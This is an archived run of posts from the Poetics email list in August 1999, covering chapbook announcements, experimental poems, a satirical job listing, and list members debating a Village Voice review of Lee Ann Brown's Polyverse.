>refusals by mainstream of-color editors to include same experimentalists in
>the publications they produce(d). This cannot be ignored.
>Also again, one must be seen to be part of the scene, be seen as part of the
>scene and seen well once seen there, understood to fit. (Back to Dodie
>Bellamy's persona post). It's easy to say that there are "no" or "few"
>(blank) writers, but then, how does one know, in publishing, especially if
>said writer doesn't dally with the usual signifiers in a recognizable way,
>if at all, goes by a first initial and non-identifiably ethnically specific
>last name, and/or if one doesn't show up on the scene? What is happening
>outside of the seen, and outside of the scene, and what does that look/sound
>like? How does physical presence come to be privileged over the arrival of

>text in this regard? This said specifically regarding inclusion/exclusion
>and writers of color, but also as a general query on the function of
>"centers", in this context.
>
>
>
>**********
>Today we declare:
>First, they are living in a Nono form;
>Second, they are Nono lives;
>Third, they make us feel Nono;
>Fourth, they make us become Nono;
>Fifth, we Nono.
>Lan Ma
>"Manifesto of Nonoism"
>(Chendu, China, May 4, 1986)
>**********

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193. **Jeffrey Jullich**

cut-ups / "homosexualization of the New York avant-garde"

Sat 14 Aug 1999

> *Mark Prejsnar <[redacted]> 08/10/99 07:13pm >>> wrote:*
>
> *Jacques,*
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> *I would be interested to hear what you feel connects the "homosexualization of the New York avant-garde" with cut-up technique....*
> *(beyond the fact that some gay guys did it....)*

--Mark Prejsnar

Mark,

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Hence---I suppose another way of putting this (increasingly embarassing) notion is that: the homosexual does not ~add~ to the world. (Although an unpalatable axiom, and patently objectionable on the level of the real, it seems fair to assert in the spirit of dogma such as "Ce sexe qui n'est pas un" or other post-modern metaphysics.) In these terms, the "gay guys" behind cut-ups and Pop reproduction, despite their incontestable contribution, did not ~add~ to the world or the bulk of existing imagery/text in the same way that a work of "original" production takes up space. (~Europe~ had "really" not added anything to ~Beryl of the Biplane;~ it's commutative, not additive.)

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I hope this doesn't seem like Pound on Social Credit. I mean it as Queer Theory,---which is always speculative.

Jeffrey Jullich

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194. **J Kuszai**

New Chapbooks by Cope and Farrell

Sat 14 Aug 1999

AUGUST 1999
2 New Chapbooks from Meow Press

Versiones Vertiges
by Stephen Cope

20p $6

from VERSIONES VERTIGES:

Salmon in the Breakers

October 1989, how pure and big a wound, the branches in their homelessness, the sea is still the sea, but we are dust or will be, the president is dead, the unequivocal seagulls, Scardenelli, you're not mad, the turning of the earth against the sun, once upon a time, a Cherokee, a whiskey sour, bluebird dead by now

as its always been a bluebird, this is love, in a photo, waning like an affect, in a dream, the cigarettes, it takes three to make a story, at Pleasure Point the surfers, & I will never die, out of season, 4 X 4, over & over again, but no-one wants a raga, 90210, the wave paced at its interval, take my hand, for I exist, finally between two poems

rather than two people, three of us in a tree, multiplied by seven, a perfect fifth,
its resonance, you are a swallow, the flower is not the flower, this is my name,
& I am twice, & I will never die again, my life as always before belated love, this is grammar,
the analogue is each, the outcropped cliff above the beach, three salmon in the breakers.

* * *

(Untitled Epic Poem on the History of Undustrialization by R. Buckminster Fuller, pp. 1-50) Grid
by Dan Farrell

with cover artwork by Phillip McCrum

24p $6

An excerpt:

Hand-wheeled public vehicles artifical hand
fashion anything invoked, the least of them
defy the least of them unwittingly managed,
the sole centrifuge of outranged socialism,
vituperance run government. Could scarecrow
stabilizer, running stabilizer, and gravity
stabilizer get a human individual, or train
in the use of it. Pleased indeed. Who began
to support a vast radially spinning gravity
scheme. Who indeed. Who appeared in lieu of
the collective to spread out. Support world
of wheeled integration, defy mixed grenades
and anything national. He run. He fast. And
direct them in the use of multiparty public

vehicles. On the pot, there spinning quasi-
Goebbels, on the pot, there running gravity
the human balancer. Unlike, unlike, unlike.
Super-single, and super world gyroscope are
there demonstrated indeed there accustomed.

* * *

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Note: exchange and review copies are available from the publisher and trade-ins are always welcome. Send in old chapbooks for upgrades. Queries to: [redacted] or http://writing.upenn.edu/epc/presses/meow/ or even PO Box 948568 San Diego California U.S.A. 92037

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195. **Jeffrey Jullich**

Re: Village Voice POLYVERSE review -Reply

Sat 14 Aug 1999

> *Douglas <[redacted]> 08/13/99 08:05am >>>*
> *Jeffrey:*
>
> *Thank you for the good analysis of a very wrong-headed review. I truly appreciate it.*
>
> *Douglas Messerli, Sun & Moon Press.*

Thank ~you!~ . . . Sir.

I wanted to add, but decorum precludes:

The way he goes on and on about how the one "saving grace" of the book is all this supposed erotica he quotes ("'As I pinch my nipples,'" "Brown puts an erotic twist on this", "Beat erotics", ~"polymorphous~ relation to gender" [my emphasis], "That and sex", "orgy . . . is just getting warmed up"), Ziolkowski seems to be giving a single-mindedly ~horny~ reading of an apparently very ~literary~ book . . . as if it were all some sort of ~panty raid~ which Brown ("goofy in a troubadour-hippie-Fugs way", like straight from ~Dogpatch~) had lured him into. (Note the telltale ~"Fugs."~) I'd say, on that vein, --- and this is when he was in a ~good~ mood and having his jollies, --- that Z. got stuck in a (heterosexualized) he-reader/she-author wish fulfillment as to what the book might be, and read it entirely through the fact that the cover has the name of a female author on it. He seems to have misread the title as ~Per-verse,~ rather

than ~Polyverse~ (as I think his entendre about "polymorphous" brings to the surface).

Jeffrey Jullich

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196. Jordan Davis
Gimme Back Ma Grommets!
Sat 14 Aug 1999

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Vincent Price as "STEVE CARLL"
MICHAEL FRIEDMAN
DREW GARDNER
MERRILL GILFILLAN
Grommetkeeper MICHAEL GIZZI
ROBERT HALE, ex-Versus
Troubled surfer LISA JARNOT
W. B. KECKLER
Heraclitean fragment JOHN LATTA
Cartesian prune LISA LUBASCH
BILL LUOMA, greengrocer
GILLIAN MCCAIN
STEVE MALMUDE
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JENI OLIN (w/ Tom Brokaw)
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JULIE EZELLE PATTON
LAURIE PRICE
Feed columnist ALISSA QUART
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ahoy!

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197. Terry Diggory
Re: Jacataqua
Sat 14 Aug 1999

The authority I would trust on this question is Bryce Conrad, who claims that Jacataqua is Williams's invention. See Conrad, "Engendering History: The Sexual Structure of William Carlos Williams' IN THE AMERICAN GRAIN," TWENTIETH-CENTURY LITERATURE 35.3 (Fall 1989): 254-78. See p. 266 for the claim of invention and note 8 on pp. 275-76 for a discussion of possible sources. There may be more info in Conrad's book on IAG, which I don't have at my fingertips: Refiguring America : a study of William Carlos Williams' In the American grain (U of Illinois P, 1990).

Terry Diggory

At 07:59 PM 8/10/99 -0400, you wrote:
>I'm looking for information about "Jacataqua" -- essay by William Carlos
>Williams in __In the American Grain__. The piece touches on Aaron Burr's
>interaction during the Revolutionary War with the Abenaki Indians. WCW
>describes the woman Jacataqua as an Abenaki "sachem" or chief, but I can
>find no other historical reference to her -- anybody know if she existed?
>Thanks.
>Allison Cobb
>

>
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>Get your PERSONALIZED START PAGE at http://my.lycos.com

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198. **Alan Sondheim**
L Th e
Sat 14 Aug 1999

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L

Years ago I taught a textbook, Art After Modernism, and man, I remember being so excited by it so that I couldn't see straight! I wanted to be in it as well! Now, I found the book, worn and second-hand at a bookstore, looking old, but the texts are as fresh and useful as ever. Immediately I started reflecting on the aging I'm going through on the way to death, how I have memories which are _these_ memories and no others, memories of _this_ unfolding world and no other. I would love my mind to play tricks on me. But there is something to be said always about the inertness of the real, in relation to possible worlds theory - that almost everything appears after the fact to be a natural kind, implicit in the makeup of memory and thinking, and the rest, all those untaken paths, paths known and unknown, are elsewise to such an extent that they do not affect the body, the way the _one_ path does, the _one path_ we are setting down our whole life. It is only later and latest that the path appears _as such,_ and there is a great sadness with its appearance; it's delicate, ephemer- al, in the midst of others which were lost. Yet it contains those natural kinds which are the natural kinds of memory, those tagged, interrelated, and taken for granted. Because of this, because of the inertness, it's clear that the natural kinds of, say, Kripke or those possible worlds, are processes of community formation, that they intend communalities and com- monalities of history. But I am aging and what do I know.

The same of course is true of philosophy; _these_ are the authors I have read, and no other, I might have taken those other courses, might have become an entirely different person, what if Wittgenstein's Tractatus wasn't available in Israel, on the shelf before me, in 1962? I read it naively; I had no idea what I was doing, but the resonance was there, and as a child I did pick up such a book and hold it close to me. Were I such a child. Were I such, but not; I become untouchable, repelled by my own history, all too fragile, gasping for air, caressing and cultivating the Thing which remains just adjacent to unequivocal death.

The path is mine alone; the walls, floor, and ceiling are mine. There are no doors; later, one knows as well that the windows are absent.

Th e

The path i s mine a lone; the wa lls, floor, and ce iling are mi ne. There are no doors; later, one kn ows as wel l that t he window s are ab sent.

The pa th i s mi ne a l one ; the wa ll s, flo or, an d c e i lin g a re mi ne. The re are no do ors ; lat er, on e k n o ws as wel l tha t t he wi ndo w s ar e a b sen t.

___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___

The path i s min e a lone ; t he w a ll s, f loor , an d ce ili ng a re m i ne . Ther e ar e no doo rs; lat er, one kn o ws a s we l l that t h e wi ndow s a re a b sent .

____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____

The pa th i s mi ne a l o ne ; the w a ll s, flo or , an d c e i li n g a re mi ne . The re ar e no do ors ; l at er, on e k n o ws as we l l tha t t h e wi ndo w s a r e a b sen t. ___ ___ __ _ _ __ ___ ___ __ _ _ __ ___ ___ __ _ _ __ ___ ___ __ _ _ __

Th e pa th i s m in e a lo ne ; t he w a ll s, f lo or , an d ce i li ng a re m i ne . Th er e ar e no d oo rs ; l at er , on e kn o ws a s we l l th at t h e wi nd ow s a re a b se nt . __

Th e pa th i s m i n e a l o ne ; t he w a ll s, f lo or , an d c e i li n g a re m i ne . Th e r e ar e no d o o rs ; l at er , on e k n o ws a s we l l th a t t h e wi nd o w s a r e a b se n t . __ _ _ __ __ _ _ __ __ _ _ __

200. derek beaulieu
new from housepress: basinski's "by"
Sun 15 Aug 1999

---

housepress is pleased to announce the release of our latest chapbook:
"by"
by Michael Basinski

a section of "by' was performed at the 2nd Annual Boston Experimental Poetry Conference, and housepress is very excited to be releasing the entire text of "by" in a limited edition handcrafted chapbook.

'by' is a 10 page poem of "fused/new words or words with visual mater are words of night... these are places between the various voices of/or places of the poem" -- "a state of non-being - -the non-being of finality -- as if the imagination halts" (from the author's afterword) published in an edition of 40 numbered copies. each copy also features linocut from and back cover illustrations by derek beaulieu printed on artstock and bound Japanese style. "by" is available for $6.00 (including postage)

for more information, contact housepress at:
derek beaulieu
1339 19th ave nw
calgary alberta
canada t2m 1a5
[redacted]

↑ Index

201. Alan Sondheim
Ro
Sun 15 Aug 1999

--\

Ro

When in despair with fortune, Azure all alone,
I caught this morning, morning's minion, close to bone,
Where life is short, the art difficult and long,
Though the harbor, barred, is moaning a dark song:
These are the days which try men's souls, and women's,
Going never gentle into that good night, have summoned
The swollen bell - spilled all, told, but none for thee,
Whose hollowed body moans, not banging, whimpering.
How do I love you, I forgot those young and youthful ways
Good neighbors fenced - and all through such bleak days

I had a lean and hungry look - such men are dangerous
For babes in London, worlds in wildflowers; now Celia
Shits, she's lovely as a tree, I swallow, comfort thee,
What comfort is in me? The times are changing, to be
The apologia: Marion among the lilies, weeping,
Spread herself upon the hill, the sky came seeping.

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202. David or Judy Ray

Re: Readings

Mon 16 Aug 1999

Dear Friends, I am trying to arrange some readings for the coming academic year, and would appreciate any help in doing so. Some of you teach at places where I have visited in the past, and it would be a pleasure to return, and I am also available for workshops, etc. My new book is DEMONS IN THE DINER, Ashland Poetry Press, Ashland, Ohio, 44805. Mailing address is 2033 E. 10 St., Tucson, Az., 85719, phone/fax [redacted]. Regards, David Ray

[redacted]
http://www.gci-net.com/~users/d/djray/

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203. Poetics List Administration

2 New Chapbooks from Meow Press / Kuszai

Mon 16 Aug 1999

This came to the administrative account. Chris

--

From: "Joel Kuszai" <[redacted]>
Date: 8/13/99, 9:47 PM +0000

2 New Chapbooks from Meow Press

Versiones Vertiges
by Stephen Cope

20p $6

Salmon in the Breakers

October 1989, how pure and big a wound, the branches in their homelessness, the sea is still the sea, but we are dust or will be, the president is dead, the unequivocal seagulls, Scardenelli, you're not mad, the turning of the earth

against the sun, once upon a time, a Cherokee, a whiskey sour, bluebird dead by now

as its always been a bluebird, this is love, in a photo, waning like an affect,
in a dream, the cigarettes, it takes three to make a story, at Pleasure Point the surfers,
& I will never die, out of season, 4 X 4, over & over again, but no-one wants a raga,
90210, the wave paced at its interval, take my hand, for I exist, finally between two poems

rather than two people, three of us in a tree, multiplied by seven, a perfect fifth,
its resonance, you are a swallow, the flower is not the flower, this is my name,
& I am twice, & I will never die again, my life as always before belated love, this is grammar,
the analogue is each, the outcropped cliff above the beach, three salmon in the breakers.

from VERSIONES VERTIGES

* * *

(Untitled Epic Poem on the History of Undustrialization by R. Buckminster Fuller, pp. 1-50) Grid
by Dan Farrell

with cover artwork by Phillip McCrum

24p $6

An excerpt:

Hand-wheeled public vehicles artifical hand
fashion anything invoked, the least of them
defy the least of them unwittingly managed,
the sole centrifuge of outranged socialism,
vituperance run government. Could scarecrow
stabilizer, running stabilizer, and gravity
stabilizer get a human individual, or train
in the use of it. Pleased indeed. Who began
to support a vast radially spinning gravity
scheme. Who indeed. Who appeared in lieu of
the collective to spread out. Support world
of wheeled integration, defy mixed grenades

and anything national. He run. He fast. And
direct them in the use of multiparty public
vehicles. On the pot, there spinning quasi-
Goebbels, on the pot, there running gravity
the human balancer. Unlike, unlike, unlike.
Super-single, and super world gyroscope are
there demonstrated indeed there accustomed.

* * *

Meow Press publishes poetry chapbooks in limited editions for circulation among people would like to read them. If you are interested in ordering, please contact Small Press Distribution: www.spdbooks.org

Note: exchange and review copies are available from the publisher and trade-ins are always welcome. Send in old chapbooks for upgrades. Queries to: [redacted] or http://writing.upenn.edu/epc/presses/meow/ or even PO Box 948568 San Diego California U.S.A. 92037

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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204. Poetics List Administration

job listing / Kevin Magee

Mon 16 Aug 1999

Had to reformat this message. Chris

--

From: <Kevin Magee> [redacted]
Date: 8/14/99, 8:38 AM -0400

Supplement to MLK Job List -- August 14, 1999
The following job is extremely time sensitive:
Academy of Court Reporting, Cleveland, Ohio.
http://www.netset.com/~academy/

Come celebrate the poetics of working class politics at the millenium in the

town that's famous as the birthplace of Albert Ayler and the early factory poems of Hart Crane--and, of course, the Program in Adult Education at the Academy of Court Reporting, which is pleased to announce and invite applications for an English Teacher to teach grammar, composition, vocabulary, tech-dental terminology, legal terminology, law office management, transcript English, business writing, critical thinking, geography and general job counseling in a privately owned paralegal and court reporting program beginning at the end of

September, 1999. ACR, a growing multi-campus business college located in the same downtown Cleveland Rockefeller Building where John D. built his Oil Empire and where Abraham Lincoln once spent the night, sits a few blocks from the same streets (reminiscent of the Old South) that will host a police-escorted white supremacy rally on August 21, 1-3 p.m. August 13 Plain Dealer: "Journalists who enter the areas designated for protestors and sympathizers will not be allowed to bring any writing utensils, notepads, tape recorders of cameras, [Mayor] White said." A poet of arguable reputation with insignificant small

press book publication and non-documented teaching assistantships is being sought for this part-time position. Typically the teaching load for the English Teacher is five to seven classes per quarter. The academic year consists of four quarters, with one week off in between (without pay). Salary is commensurate with the non-union service sector industry. The English Teacher receives $11.25 per hour for each hour spent in the class room. On the basis of an average courseload of six classes at four hours instruction per week, the English Teacher may expect to receive an typical weekly salary of $250-$300 (without benefits). The English Teacher may expect to be responsible for 60 to 100 students per quarter. ACR-Cleveland currently enrolls about 300 undergraduates in paralegal and court reporting studies. There is an open admissions policy, and the English program has no support from anyone, anywhere. The faculty in the English Program was for a

short while comprised of two poets (Richard Wagle and Kevin Magee). "Mr. Wagle" left in at the end of March. His replacement, a retired high school teacher, recently told a student to her face and in front of her classmates that "ask" pronounced "axe" is ignorant. Many students were justifiably hurt, and upset. "Mr. Magee" is leaving in mid-September. ACR-Cleveland is home to a campus literary magazine which keeps changing its name, sample sound-bites

from which include Lori El-Amin's "his sexy hard hazel eyes and his loving thug passion" (written to a boyfriend killed in a bar brawl in response to the routine composition topic, 'What's the worst thing that happened to you this week') and the self-declared 'Wild Irish Rose,' Missy Dowling's "Even this some day will pass/But not before you kick some ass" (written to a boyfriend in prison). About 95% of ACR students, most of whom come from east of East 1999, are single mothers balancing children, minimum wage part-time jobs, and a strict attendance policy. Review of applications continues until the first person responds. Send cover letter and resume (no letters of recommendation are required) to: Education Director, Academy of Court Reporting/Cleveland Campus, Cleveland, Ohio. Invisible faculty wives and Minority candidates strongly encouraged to apply.

Anna Julia Cooper
i.e., What a Falling Off There Was:
Who remembers that Oberlin College
was one of the half dozen colleges
for Black Women mentioned by Ms. Cooper
in her radical reconstruction "Zhenotdel" writings
before the White Terror unleashed Jim Crow
and moved masses of laborers into the northern mills?

Barbara Evans Clements:
"Viewed from another angle, it was also
one of the most utopian, most egalitarian,
most hopeful ventures of the 1920s. The Zhenotdel
was hundreds of young women, some still teenagers,
walking barefoot from village to village in the summers,
carrying copies of "Krestianka" to read aloud to peasants
in the evenings. It was factory workers proudly opening
the day care centers they had scrounged and saved for.
It was communes and cooperatives, lunchrooms and laundries,
all organized and run by women. That is, the Zhenotdel . . .
was also, like so much else in the 1920s, a project animated
by a magical sense of the limitless possibilities of a revolutionary new
world."

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205. **Keith Tuma**
The Gig 3 (fwd)
Mon 16 Aug 1999

> *Apologies in advance for cross-posting.... Contributors should see copies in about a week's time:*
>
> * * *
>
> *T H E G I G #3*
>
> *is now out, rounding off the first year. (Not bad, I tell myself: that's an issue more than _Blast_ reached, for instance.) Inside is poetry by Bill Griffiths, Susan Clark, Peter Hughes, Marjorie Welish, cris cheek, Bruce Andrews, Thomas A Clark, Randolph Healy, & Catriona Strang; an extract from Nathaniel Mackey's forthcoming novel _Atet A.D._; and an essay on JH Prynne's "On the Matter of Thermal Packing" by Vance Maverick; plus reviews by Pete Smith & myself.*
>
> *Issue 4/5 (November '99-March '00) will be a double-issue devoted to*

criticism on the work of the British poet Peter Riley. It will have essays by Andrew Crozier, Peter Middleton, James Keery, Peter Larkin, Tony Baker, Mark Morrisson, John Hall & many others; a new interview, conducted by Keith Tuma; new work of Peter Riley's; new translations by Lorand Gaspar; and a select bibliography of his poetry and prose. (I'll be making a separate posting about this soon, inviting advance subscriptions & donations: both are crucial to this project's success!)

* * *

Subscriptions:
$6 (Canadian) for a single issue
$15 Cdn for a subscription (3 issues)
[Note: subscriptions beginning with #2 cost $21, reflecting the double-issue #4/5]
$10 Cdn / issue for institutional copies.
[Note: #4/5 will be $20 for institutional copies]

Prices include post within Canada; for the U.S., add $0.50 Cdn per issue; for the U.K., add $1.00 per issue. Cheques and money orders should be made out to "Nate Dorward". Please inquire as to foreign currency exchange if not paying in Canadian dollars.

Write to: Nate Dorward, 109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada (email: [redacted]).

The Gig is also available from Peter Riley, at 27 Sturton St., Cambridge, CB1 2QG (fax: 01223 576422; email: [redacted]).

* * *

The Gig is devoted to new work from the US, Canada, UK & Ireland, with an especial slant towards the last two. No unsolicited submissions, please. Back-issues of issues #1 and #2 are still available:

#1: Deanna Ferguson, Alan Halsey, Lisa Jarnot, Trevor Joyce, Peter Riley, Maurice Scully, Pete Smith, John Wilkinson; Wilkinson on John Wieners and schizophrenia.

#2: Clark Coolidge, Allen Fisher, RF Langley, Tony Lopez, Peter Manson, Drew Milne, Erin Moure, Gavin Selerie, Robert Sheppard, Lissa Wolsak; Robin Purves on JH Prynne's _Not-You_ and its critical reception.

* * *

Available soon from The Gig: Allen Fisher's _The Topological Shovel_, a set of four essays written at the time that Fisher was commencing _Gravity as a

> *consequence of shape_, his influential poetry project of the 1980s and '90s.*
>
> * * *
>
> *...and that's it: ad break's over.*
>
> *Nate Dorward*
> [redacted]
> *109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada*
> *ph:* [redacted]

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206. Mark Wallace
review of Lee Ann Brown's Polyverse
Mon 16 Aug 1999

For those who want an antidote to the recent Thad Ziolkowski botched review of Lee Ann Brown's POLYVERSE, I hope you'll read my review of the same book that's forthcoming in the October issue of Poetry Project Newsletter. I wish it was available now, but it will be shortly.

Along with Jeffrey Jullich, I agree that Thad's sense that Lee Ann "fails to synthesize" the various traditions that she's working with misses the mark rather badly, that in fact the idea of "synthesis" is in many ways precisely what the book is NOT about. Lee Ann's goal seems to me neither to repeat certain poetic traditions, nor to synthesize their differences, but to destabilize these various traditions, both from within their conditions by rewriting their implications, and by putting them beside each other in a way that calls the notion of maintaining singular poetic traditions into question. It's not about synthesizing, but about "being next to," not about a new singularity but allowing disruptive multiple approaches to come into dialogue with each other in a way that's purposely frustrating and liberating.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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207. **Mark Weiss**

Re: review of Lee Ann Brown's Polyverse

Mon 16 Aug 1999

I've always found Lee Ann's poetry charming, and I look forward to reading her book, but I think this handwringing over a wrongheaded review is a little strange, and more a testimony to how much a lot of us like Lee Ann than anything else. Surely I'm not the only list member who's been reviewed by clueless reviewers--sometimes they even praise facets of the work that are their own invention, which, frankly, doesn't feel a lot better than negative comment. Isn't this the risk we take when we go public? Isn't this especially true if we write in innovative ways?

It is a shame that the review appeared in such a public venue. Complaining about it here is preaching to the choir: a letter to the editor might be more useful.

At 11:34 AM 8/16/99 -0400, you wrote:
> For those who want an antidote to the recent Thad Ziolkowski
>botched review of Lee Ann Brown's POLYVERSE, I hope you'll read my review
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>differences, but to destabilize these various traditions, both from within
>their conditions by rewriting their implications, and by putting them
>beside each other in a way that calls the notion of maintaining singular
>poetic traditions into question. It's not about synthesizing, but about
>"being next to," not about a new singularity but allowing
>disruptive multiple approaches to come into dialogue with each other in a
>way that's purposely frustrating and liberating.
>
> Mark Wallace
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>/----------
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>|
  |
>| [redacted]

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  |
>|      GWU:
  |
>|       http://gwis2.circ.gwu.edu/~mdw
  |
>|      EPC:
  |
>|       http://writing.upenn.edu/epc/authors/wallace
  |
>|_____________________________________________________________________
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>
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208. Dodie Bellamy

book search-help!

Mon 16 Aug 1999

Hi, does anyone have an extra copy or know where I can get one of Janet Altman's Epistolarity: Approaches to a Form. It appears to be one of those in-between print and out-of-print books, so it's not available anywhere at the moment.

Thanks.

Dodie

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209. David Buuck

Artists in Conversation/Kelsey St Event

Mon 16 Aug 1999

For those of you in the Bay Area, here's an event I'll be moderating this Thursday night at 7.

Artists in Collaboration/Collaborative Art:
An Evening with Kiki Smith, Richard Tuttle, and Mei-mei Berssenbrugge

Yerba Buena Center for the Arts

In celebration of the 25th anniversary of Kelsey St. Press, and in conjunction with the Trinh T. Minh-ha & Lynn Marie Kirby collaboration "Nothing But Ways" at Yerba Buena Center for the Arts, Art in Conversation hosts artists Kiki

Smith and Richard Tuttle, along with poet Mei-mei Berssenbrugge, to discuss collaborations between writers and visual artists.

curated by Natasha Boas
moderated by David Buuck
special thanks to Rena Rosenwasser and Kelsey St. Press

7 pm : $3/$5
hosted in the Screening Room
Yerba Buena Center for the Arts
701 Mission St @ 3rd
SF 415-978-ARTS
www.YerbaBuenaArts.org

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210. Lynn Miller
Speculative philosophy=Secular theology
Mon 16 Aug 1999

E Q U A L S I G N S

[KM]: Dear footstep, dear echo, there is a forward movement still, each word a precedent for another's name. I shift into another's past. "I sentence you." What did it mean to fall flat? The French Workers often raised their voices on the Blvd. de Minima and along the tiny alleys of the Ile St. Louis. Hands raised at the end of questions, as though all were in question.

[LM]: I question that. Pressure of the assumed name at your instep. It made you want to look out the window, like voices rising at the end of each assertion. Yours was a particular passion I did not often encounter in the poetry of the late 20th century. That urgency we call Romantic. A vast field of scarlet poppies in the south of France.

[KM]: But you yourself have not escaped the express provocation, nor spared yourself what Goethe believed the study of languages should evoke: strong emotions. Forms of fanatacism and genius among the tyranny of everyday life conceived in a binge. A powerful social movement is expected for which contemporary philosophy cannot provide a method.

[LM]: But he who loves verbal arabesques above all fails to consider himself either rational or real. Death only returns to is proportion and horizon, a biological horizon, when the meaning of life becomes the experience of life in the collective, our own individual instance experienced as a contribution to the future, to generation in its strongest (feminine/reproductive) sense.

[KM]: That sounds a lot like Leopardi, the only real woman among the man-romantics. Shurin's happiness--the hope of health--as read against Philosophy's refusal to acknowledge the priority biology has in the demand for happiness, in the full, firm sense the word had in the eighteenth century. The crisis of disease situated in Nature. "My mind diseased, disease my luckless framework." This experience puts him in a woman's skin, who arrives before her now without the language of amorous discourse.

[LM]: Yes, the experience of the body bound to its biology. Marxism in its entirety is only a condition for a life in freedom, life in happiness, life in possible fulfillment, life with content. Or: "Only when all the guests have sat down at the table will the Messiah come." (Bloch). Redeeming or rectifying; rectification, a Cuban term. Ta grande face de Meduse (toi qui brille dans l'éclair et dans l'émeute). Or: "A map of the world that does not include Socialism is not worth reading." (Oscar Wilde).

[KM]: Dear Buffalo Poetics List, please let me tell you a little something about the vinyl plastic covering on your refrigerator racks, unless you have plain metal ones, like I do. The vinyl arrives in the form of a liquid gas, extremely hazardous, called Vinyl Liquid Chloride, in railroad tank cars or by bulk truck. The gas is siphoned through the factory--called the Poly Building--and at least in Illinois the end product is a 50lb.bag of powdered resin that feels like cement to lift up, and Tim, the operator I worked with there, agreed with me on that, that there's no heavier bag in the world to lift than a bag of cement. I was spending a light day in the Lab, and a guy was walking me through a simulated Fusion Test, the end result of which is a Touch Test, where a little square of plastic you put the end of your fingers to, and you can feel the difference, between what is a good run of Plastic or Vinyl and what is a bad one, so that you learn to understand all the work that goes into making plastic products like the covering of the metal frames on the racks inside your refrigerator, which, if you have ever thought about it, do not arrive from nowhere, but bear their cost, and this is the cost: Bill, the first guy I worked with in the morning, could hardly get his cup of coffee to his mouth, his hands were shaking that bad, and at first I thought he was scared of me (that was my job, to inspire fear in the workers, and invoke the specter of European manufacturing), but I came to learn that the Lab is where they send the older guys who have begun to show symptoms of chemical poisoning (it attacks your nerves), so that his badly, and I mean severely, shaking hands were the product of his giving his life to GEON, to the plant in Henry, Illinois, and the last few years of his life would be spent in the Lab, a cush job, his hands shaking violently trying to raise a cup of coffee to his mouth. The next time you open your refrigerator, think of the human cost involved in preserving your food. I have only been trying to tell you how I was thrown open to the world.

[LM]: How, exactly, did your "situation" come about? Writers throw up their hands and apologize for the racial attitudes of white workers then and now, or, more recently, indict the working class for a thoroughgoing racism. Jameson's point about the dialectical interrelatedness, in the physical space and cultural institutions where it was produced, that disarticulations of hegemony accompany periods of extreme capitalist crisis, and growing social fissures, and accents of class and race become confused. I believe the reality was a good deal more contradictory than the views recorded in the Police Gazette, perhaps, even, the word you left behind you to escape at all, and slam the door on an State Education Compound not far from where one of the guys at the break table knew where Hudson, South Dakota was, a town of about 250 people, on the Iowa border, separated by the Sioux River, worthy of the south of France in all its peasant simplicity and beauty, the village where my mother's people come from, the Millers, changed from Mueller at Ellis Island in 1914, and a 50 year old worker in a petrochemical plant in Henry, Illinois knew exactly where that village was, well, maybe that word you left behind you was less an articulation of difference than a speculation about it, white and black, twin responses sandwiched between or even substituting one for the other, using a name which unsettled the stable outlines of both. They were in any case understood to inhabit the bottom. Yet they were of no slight lineage, to use the familiar trope of a lowly mechanic's inheritance, Jacksonian social relations all around, and while it can scarcely be said that Kevin Magee always found himself on the better side of the problem, he at least has the virtue of having brought the problem to the surface.

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211. Brent Cunningham
from the SPD vault
Mon 16 Aug 1999

This list may have gotten too large for new folks to introduce themselves at any length, but even so I'd like to make everyone aware that I'm a good source for questions regarding SPD and SPD titles, both of which come up with some frequency on this list.

Currently I'm working as their/our Sales Manager (full identity association has yet to take complete hold on me), and I've developed the habit of wandering through the stacks during breaks. If it seems relevant, I plan to pass on some of my findings.

i.e. speaking of Jonas, I noticed that we still have seven copies of Steven Jonas's THREE POEMS (1989, Rose) at their original price of five dollars. Many used books stores are already selling THREE POEMS as rare. I've only gotten

through the first poem, but it's an excellent piece of work. So, really, there are only six copies remaining.

Brent Cunningham

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212. Max Winter
Re: review of Lee Ann Brown's Polyverse
Mon 16 Aug 1999

Although I am rarely tempted to weigh in here, because I'm never entirely sure where "in" is, I will attempt to do such weighing, if only to agree with this reaction, and to suggest that reviews are only as influential as their readers make them. They are, by definition, works of opinion--and in so being, are always slightly "wrongheaded." That's one of a reviewer's highest privileges, I would say, although I realize it's not much of a privilege. (Compared to, say, the ability to fly, or eternal youth, or even a bag of magic rhizomes.) (None of which most reviewers should ever hope for.) I would also suggest that most of the people who would be Lee Ann Brown's best readers are not the sort who would read the Village Voice, or any other newspaper, without a certain amount of skepticism. One would hope they would read the book for themselves.

Enough of my naive jawing.

--- Mark Weiss <[redacted]> wrote:
> I've always found Lee Ann's poetry charming, and I
> look forward to reading
> her book, but I think this handwringing over a
> wrongheaded review is a
> little strange, and more a testimony to how much a
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>
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> about it here is preaching to the choir: a letter to

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> more useful.
>

_____
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

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213. **Billy Little**
Re: International festival of Postmodern Piracy
Tue 17 Aug 1999

---

did i miss the reports from this, did it happen, are there tapes, a website?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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214. **Billy Little**
Re: Ethnicity and the BoPoFest
Tue 17 Aug 1999

Boston, indeed, was high tension racist when i lived there, a solitary black risked linching attempting to get a drink in a southey bar and none but the foolhardiest irishman found themselves on the streets of dorchester after dark. But I found L.A. pretty racist especially the police tho the mayor, the former chief of police was black, the cops black and white, never missed an opportunity to put a black male up against the car if he was walking with a white woman, even when they walked with their child, it was sick making. The only thing out of the ordinary about Rodney King was they didn't arrest him for assaulting sixteen officers. Thousands of Bufords out there in the valley looking for a scapegoat for their misery they'd rather share their suffering than your possibility. American shoots bursting from and reproducing in the bedrock of hatred, the cornerstone, the engine of the American colonial success. racism isn't unknown in Canada, but it seems more opportunistic less psychotic if they might eat some of the fish youwant to sell you'll hate them for keeping you from being as rich as you deserve.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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215. David Kirschenbaum
"Anselm Berrigan is Flying to France"
Tue 17 Aug 1999

Anselm Berrigan is Flying to France

